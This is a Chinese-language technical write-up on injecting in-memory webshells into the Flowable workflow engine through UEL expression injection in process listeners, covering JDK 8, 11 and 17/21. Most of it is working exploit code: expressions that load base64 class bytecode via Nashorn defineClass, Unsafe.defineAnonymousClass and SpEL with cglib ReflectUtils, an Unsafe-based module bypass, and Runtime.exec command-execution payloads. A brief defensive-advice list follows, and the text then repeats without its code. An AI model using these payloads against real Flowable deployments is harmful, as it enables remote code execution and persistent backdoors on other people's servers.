flowable流程引擎JDK 8-21 全版本内存马注入
字数 1510 2025-09-04 23:22:12

Flowable流程引擎全版本JDK内存马注入技术研究

1. 前置知识

1.1 Flowable简介

Flowable是一个用Java编写的轻量级业务流程引擎(BPMN),支持业务流程建模与执行。关键特性包括:

  • 支持UEL(Unified Expression Language)表达式
  • 提供流程定义、执行、任务管理等功能
  • 支持流程监听器配置

1.2 漏洞背景

Flowable引擎允许在流程监听器中插入UEL表达式,当流程达到触发条件时会对表达式进行解析执行。这一特性可能被滥用实现任意代码执行。

2. JDK 8环境下的内存马注入

2.1 利用原理

在JDK 8中,可以直接使用当前线程的contextClassLoader反射调用defineClass方法加载恶意类。

2.2 利用代码

''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('
var base64Str = "yv66vg...";
var clsString = java.lang.Class.forName("java.lang.String");
var bytecode;
try {
    var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
    bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
    var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
    bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
}
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
')

2.3 利用步骤

  1. 新建流程
  2. 在监听器中插入上述表达式
  3. 执行流程触发表达式解析

3. JDK 11环境下的内存马注入

3.1 JDK 11的限制

JDK 11中直接使用defineClass会报错:

Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts

3.2 绕过方案

使用Unsafe类的defineAnonymousClass方法进行类加载,但有以下限制:

  1. 被加载的Class必须没有包名
  2. 或者包名与第一个参数Class的包名一致

3.3 利用代码

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("
var ClassBytes = java.util.Base64.getDecoder().decode('yv66vg...');
var safeClass = java.lang.Class.forName('sun.misc.Unsafe');
var safeCon = safeClass.getDeclaredField('theUnsafe');
safeCon.setAccessible(true);
var unSafe = safeCon.get(null);
var mem = unSafe.defineAnonymousClass(org.flowable.engine.impl.test.NoOpServiceTask.class, ClassBytes, null);
mem.newInstance();
")}

4. JDK 17/21环境下的内存马注入

4.1 环境变化

  • Nashorn引擎在JDK 17中被移除
  • Graal.js依赖默认被注释

4.2 利用方案

使用SpEL表达式通过org.springframework.cglib.core.ReflectUtils进行类加载

4.3 利用代码

${''.getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("
T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'org.springframework.expression.Test',
    T(org.apache.commons.io.IOUtils).toByteArray(
        new java.util.zip.GZIPInputStream(
            new java.io.ByteArrayInputStream(
                T(java.util.Base64).getDecoder().decode('gzip + Base64')
            )
        )
    ),
    T(java.lang.Thread).currentThread().getContextClassLoader(),
    null,
    T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')
)").getValue()}

4.4 关键注意事项

  1. 注入器类名必须在org.springframework.expression包下
  2. 需要绕过高版本反射限制,使用Unsafe修改Module:
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);
Module module = Object.class.getModule();
Class cls = HelpUtils.class;
long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(cls, offset, module);

5. 命令执行示例

5.1 通过SpEL表达式

${''.getClass().forName("org.springframework.expression.spel.standard.SpelExpressionParser").newInstance().parseExpression("T(java.lang.Runtime).getRuntime().exec('open /System/Applications/Calculator.app')").getValue()}

5.2 直接反射调用

${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('open /System/Applications/Calculator.app')}

6. 踩坑记录

  1. 高版本Spring兼容性问题

    • javax.servlet被jakarta.servlet替代
    • 报错示例:Java.lang.AbstractMethodError: Receiver class org.springframework.expression.Test4 does not define or inherit an implementation of the resolved method 'abstract org.springframework.web.servlet.ModelAndView handleRequest(jakarta.servlet.http.HttpServletRequest, jakarta.servlet.http.HttpServletResponse)' of interface org.springframework.web.servlet.mvc.Controller.
  2. 反编译问题

    • 反编译内存马后可能缺少常量值
    • 需要通过-classpath添加依赖进行编译
  3. JDK版本适配

    • 内存马中的Object.class.getModule()方法在Java 9+才支持
    • 需要使用Java 9+的javac进行编译

7. 防御建议

  1. 禁用不必要的表达式解析功能
  2. 对流程监听器中的表达式进行严格过滤
  3. 使用最新版本的Flowable引擎
  4. 实施严格的代码审查和输入验证
  5. 限制JVM的反射权限

8. 参考资源

  1. Flowable表达式注入分析
  2. JDK高版本内存马技术研究
  3. Spring高版本适配问题
  4. Flowable漏洞利用分析
Flowable流程引擎全版本JDK内存马注入技术研究 1. 前置知识 1.1 Flowable简介 Flowable是一个用Java编写的轻量级业务流程引擎(BPMN),支持业务流程建模与执行。关键特性包括: 支持UEL(Unified Expression Language)表达式 提供流程定义、执行、任务管理等功能 支持流程监听器配置 1.2 漏洞背景 Flowable引擎允许在流程监听器中插入UEL表达式,当流程达到触发条件时会对表达式进行解析执行。这一特性可能被滥用实现任意代码执行。 2. JDK 8环境下的内存马注入 2.1 利用原理 在JDK 8中,可以直接使用当前线程的contextClassLoader反射调用defineClass方法加载恶意类。 2.2 利用代码 2.3 利用步骤 新建流程 在监听器中插入上述表达式 执行流程触发表达式解析 3. JDK 11环境下的内存马注入 3.1 JDK 11的限制 JDK 11中直接使用defineClass会报错: 3.2 绕过方案 使用Unsafe类的defineAnonymousClass方法进行类加载,但有以下限制: 被加载的Class必须没有包名 或者包名与第一个参数Class的包名一致 3.3 利用代码 4. JDK 17/21环境下的内存马注入 4.1 环境变化 Nashorn引擎在JDK 17中被移除 Graal.js依赖默认被注释 4.2 利用方案 使用SpEL表达式通过org.springframework.cglib.core.ReflectUtils进行类加载 4.3 利用代码 4.4 关键注意事项 注入器类名必须在org.springframework.expression包下 需要绕过高版本反射限制,使用Unsafe修改Module: 5. 命令执行示例 5.1 通过SpEL表达式 5.2 直接反射调用 6. 踩坑记录 高版本Spring兼容性问题 : javax.servlet被jakarta.servlet替代 报错示例: Java.lang.AbstractMethodError: Receiver class org.springframework.expression.Test4 does not define or inherit an implementation of the resolved method 'abstract org.springframework.web.servlet.ModelAndView handleRequest(jakarta.servlet.http.HttpServletRequest, jakarta.servlet.http.HttpServletResponse)' of interface org.springframework.web.servlet.mvc.Controller. 反编译问题 : 反编译内存马后可能缺少常量值 需要通过-classpath添加依赖进行编译 JDK版本适配 : 内存马中的Object.class.getModule()方法在Java 9+才支持 需要使用Java 9+的javac进行编译 7. 防御建议 禁用不必要的表达式解析功能 对流程监听器中的表达式进行严格过滤 使用最新版本的Flowable引擎 实施严格的代码审查和输入验证 限制JVM的反射权限 8. 参考资源 Flowable表达式注入分析 JDK高版本内存马技术研究 Spring高版本适配问题 Flowable漏洞利用分析